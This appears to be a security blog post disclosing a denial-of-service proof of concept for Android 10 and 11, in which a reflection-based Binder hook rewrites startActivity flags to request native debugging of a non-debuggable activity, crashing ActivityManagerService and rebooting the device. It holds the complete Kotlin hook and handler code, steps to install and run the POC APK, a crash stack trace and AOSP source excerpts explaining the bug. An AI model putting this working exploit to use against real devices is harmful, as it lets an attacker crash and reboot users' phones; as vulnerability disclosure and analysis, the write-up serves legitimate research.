Introduction
The ActivityManagerService (https://androidreverse.wordpress.com/2018/03/11/aosp-activitymanager-and-activitymanagerservice/) is a component of Android that manages the Running Applications, non-system Services, ContentProviders and much more. The StartFlag DoS Exploit sends a manipulated startActivity event telling to start another Application in “native debugging” mode (in our Test we use the PermissionGrant Activtiy wich is marked as not debuggable”. A bug in the ActivityManagerService doesn’t answer with forwarding a SecurityException to the Attacker, instead it throws the SecurityException without catching it. This causes the ActivityManagerService to crash and all other Services depending on it also die.
Download the POC
- Download the APK (download link above)
- Install the APK on you’re Android 10 / Android 11 device
- Click on “Test Exploit” button
- You’re device should reboot!
- Leave a comment and you’re device model to have an overview of affected devices đ
Technical Description
In the POC we install a Binder hook using the Reflection Proxy class (Github: https://github.com/ChickenHook/BinderHook). We replace the IActivityTaskManager object inside the IActivityTaskManagerSingelton of ActivityTaskManager.
val activityTaskManagerClazz = Class.forName("android.app.ActivityTaskManager") val iActivityTaskManagerSingletonField = activityTaskManagerClazz.getDeclaredField("IActivityTaskManagerSingleton") iActivityTaskManagerSingletonField.isAccessible = true val iActivityTaskManagerSingleton = iActivityTaskManagerSingletonField[null] val singletonClazz = Class.forName("android.util.Singleton") val mInstanceField = singletonClazz.getDeclaredField("mInstance") mInstanceField.isAccessible = true val mInstanceObject = mInstanceField[iActivityTaskManagerSingleton] val iActivityTaskManagerClazz = Class.forName("android.app.IActivityTaskManager") val mInstanceFieldProxy = Proxy.newProxyInstance( Thread.currentThread().contextClassLoader, arrayOf(iActivityTaskManagerClazz), handler ) // set the variables that are proxied mInstanceField[iActivityTaskManagerSingleton] = mInstanceFieldProxy
Now we have to define a handler that searches for the argument defining the “startFlags” for this “startActivity” call. The arguments of this event can be learned using the IActivityTaskManager.java class (https://cs.android.com/android/platform/superproject/+/master:out/soong/.intermediates/frameworks/base/framework-minus-apex/android_common/xref28/srcjars.xref/frameworks/base/core/java/android/app/IActivityManager.java;bpv=1;bpt=0). The “startFlags” integer decides whether the target activity shall be started in debug mode or not. We set the START_FLAG_NATIVE_DEBUGGING flag in order to tell we’re going to launch the target Activity in debug mode.
val handler = InvocationHandler { _, method, args -> if ("startActivity" == method.name) { if (args[args.size - 3].toString() == "0") { // rewrite ărequestCodeăin args to set ăSTART_FLAG_NATIVE_DEBUGGINGă flag // when we start a non debuggable activity, // ăsetNativeDebuggingAppLockedă will throw an SecurityException // and then crash args[args.size - 3] = args[args.size - 3] as Int or START_FLAG_DEBUG or START_FLAG_TRACK_ALLOCATION or START_FLAG_NATIVE_DEBUGGING } } method.invoke(mInstanceObject, *args) }
The last step now is to launch an Activity which isn’t debuggable. For this we just use the standard requestPermission call.
/** * Launch any non debuggable activity. */ ActivityCompat.requestPermissions( this@MainActivity, arrayOf(Manifest.permission.READ_CONTACTS), 1001 )
That’s it!
This will cause a crash shown in the video. Here is the Stacktrace of the remote process.
2020-05-04 00:57:51.065 1433-1433/? I/BinderHook: BinderHook [+] send manipulated startActivity() call 2020-05-04 00:57:51.066 24771-24793/? I/ActivityManager: Force stopping com.google.android.permissioncontroller appid=10182 user=-1: set debug app 2020-05-04 00:57:51.068 24771-24793/? E/AndroidRuntime: *** FATAL EXCEPTION IN SYSTEM PROCESS: android.display java.lang.SecurityException: Process not debuggable: com.google.android.permissioncontroller at com.android.server.am.ActivityManagerService.setNativeDebuggingAppLocked(ActivityManagerService.java:8057) at com.android.server.am.ActivityManagerService$LocalService.setDebugFlagsForStartingActivity(ActivityManagerService.java:18433) at com.android.server.wm.-$$Lambda$8ew6SY_v_7ex9pwFGDswbkGWuXc.accept(Unknown Source:14) at com.android.internal.util.function.pooled.PooledLambdaImpl.doInvoke(PooledLambdaImpl.java:317) at com.android.internal.util.function.pooled.PooledLambdaImpl.invoke(PooledLambdaImpl.java:195) at com.android.internal.util.function.pooled.OmniFunction.run(OmniFunction.java:86) at android.os.Handler.handleCallback(Handler.java:883) at android.os.Handler.dispatchMessage(Handler.java:100) at android.os.Looper.loop(Looper.java:214) at android.os.HandlerThread.run(HandlerThread.java:67) at com.android.server.ServiceThread.run(ServiceThread.java:44)
What happens in the ACTIVITY Manager Service?
The AccessibilityManagerService tries to setup the startActivtiy call and parses our given startFlags using the setDebugFlagsForStartingActivity method (see ActivityManagerService.java#18537).
@Override
public void setDebugFlagsForStartingActivity(ActivityInfo aInfo, int startFlags,
ProfilerInfo profilerInfo, Object wmLock) {
synchronized (ActivityManagerService.this) {
/**
* This function is called from the window manager context and needs to be executed
* synchronously. To avoid deadlock, we pass a message to AMS to execute the
* function and notify the passed in lock when it has been completed.
*/
synchronized (wmLock) {
if ((startFlags & ActivityManager.START_FLAG_DEBUG) != 0) {
setDebugApp(aInfo.processName, true, false);
}
if ((startFlags & ActivityManager.START_FLAG_NATIVE_DEBUGGING) != 0) {
setNativeDebuggingAppLocked(aInfo.applicationInfo, aInfo.processName);
}
if ((startFlags & ActivityManager.START_FLAG_TRACK_ALLOCATION) != 0) {
setTrackAllocationApp(aInfo.applicationInfo, aInfo.processName);
}
if (profilerInfo != null) {
setProfileApp(aInfo.applicationInfo, aInfo.processName, profilerInfo);
}
wmLock.notify();
}
}
}
Because we added the START_FLAG_NATIVE_DEBUGGING flag the setNativeDebuggingAppLocked will be called. This function checks if “ro.debug” is set in build.properties. On non rooted devices this will be false and the function verifies if the target Application is marked as “debuggable” in his AndroidManifest.xml (this information was parced into the ApplicationInfo object).
Because our target Application is not “debuggable” the SecurityException will be thrown (see ActivityManagerService.java#8124).
void setNativeDebuggingAppLocked(ApplicationInfo app, String processName) { boolean isDebuggable = "1".equals(SystemProperties.get(SYSTEM_DEBUGGABLE, "0")); if (!isDebuggable) { if ((app.flags & ApplicationInfo.FLAG_DEBUGGABLE) == 0) { throw new SecurityException("Process not debuggable: " + app.packageName); } } mNativeDebuggingApp = processName; }
The reason why this exception will not be forwarded to the caller via the binder interface is that a new thread was spawned while perform this action (see ActivityStackSupervisor.java#665).
final Message msg = PooledLambda.obtainMessage(
ActivityManagerInternal::setDebugFlagsForStartingActivity,
mService.mAmInternal, aInfo, startFlags, profilerInfo,
mService.mGlobalLock);
mService.mH.sendMessage(msg);
Thanks for reading! If you like my work, please buy me a coffee đ
Greetings! Very useful advice in this particular article! Its the little changes that will make the biggest changes. Thanks for sharing!